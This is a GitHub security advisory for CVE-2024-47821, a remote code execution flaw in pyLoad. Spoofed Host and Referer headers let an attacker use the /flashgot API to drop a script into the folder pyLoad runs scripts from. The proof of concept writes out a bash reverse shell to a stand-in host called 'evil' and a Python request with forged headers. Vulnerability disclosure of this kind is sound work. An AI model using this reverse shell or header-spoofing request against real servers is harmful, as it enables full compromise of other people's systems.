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pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

High severity GitHub Reviewed Published Oct 25, 2024 in pyload/pyload • Updated Oct 28, 2024

Package

pip pyload-ng (pip)

Affected versions

< 0.5.0b3.dev87

Patched versions

0.5.0b3.dev87

Description

Summary

The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes

  1. Change the download folder to /home/<user>/.pyload/scripts
  2. Change permissions for downloaded files:
    1. Change permissions of downloads: on
    2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

Referer header check

def flashgot():
    if flask.request.referrer not in (
        "http://localhost:9666/flashgot",
        "http://127.0.0.1:9666/flashgot",
    ):
        flask.abort(500)
  ...

Host header check for local check

def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
            "127.0.0.1:9666",
            "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403

    return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC

Create a malicious file. I have created a reverse shell

#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.

import requests

url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {
    "package": "download_finished",  
    "passwords": "optional_password",  
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}


response = requests.post(url, data=data, headers=headers)

When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots

Download folder

1

exp.sh is downloaded

2

Script is run

3

Reverse shell connection is received

4

Impact

This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

References

@GammaC0de GammaC0de published to pyload/pyload Oct 25, 2024
Published by the National Vulnerability Database Oct 25, 2024
Published to the GitHub Advisory Database Oct 28, 2024
Reviewed Oct 28, 2024
Last updated Oct 28, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

EPSS score

0.043%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-47821

GHSA ID

GHSA-w7hq-f2pj-c53g

Source code

Credits

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